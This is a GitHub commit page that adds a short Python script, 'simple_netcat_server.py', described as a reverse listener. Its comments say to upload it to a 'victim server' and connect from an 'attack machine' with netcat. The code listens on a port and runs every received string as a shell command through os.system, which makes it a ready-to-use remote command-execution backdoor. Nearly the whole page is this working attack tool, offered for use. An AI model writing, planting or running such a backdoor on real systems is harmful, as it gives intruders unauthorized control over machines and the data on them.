Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

Commit a1c2639

Browse files
author
Munir Njiru
committed
Server Listener
Simple listener for netcat :-) when on a server with no netcat but python barebone :-D
1 parent 0361601 commit a1c2639

File tree

1 file changed

+43
-0
lines changed

1 file changed

+43
-0
lines changed

‎simple_netcat_server.py‎

Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
#!/usr/bin/env python
2+
__author__ = "Munir Njiru"
3+
__email__ = "munir@alien-within.com"
4+
__status__ = "Production"
5+
6+
#To connect to it upload the script on the victim server
7+
#On your attack machine run the command below:
8+
9+
#nc target-ip target-port
10+
11+
##########################################
12+
# Simple Reverse Listener
13+
# by Alienwithin
14+
###########################################
15+
import socket
16+
import os
17+
import sys
18+
19+
ip = "victim-ip"
20+
port = 4445
21+
22+
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
23+
server.bind((ip, port))
24+
server.listen(10)
25+
26+
print ("Listener ready on %s:%d" % (ip,port))
27+
28+
client, addr = server.accept()
29+
30+
print ("Connected to %s on port %d" % (ip,port))
31+
while True:
32+
data = str(client.recv(1024))
33+
data = data.strip()
34+
if not data:
35+
print "command cannot be blank my friend"
36+
elif data.strip() == "terminate":
37+
client.close()
38+
sys.exit(0)
39+
else:
40+
os.system(data)
41+
42+
43+

0 commit comments

Comments
(0)

AltStyle によって変換されたページ (->オリジナル) /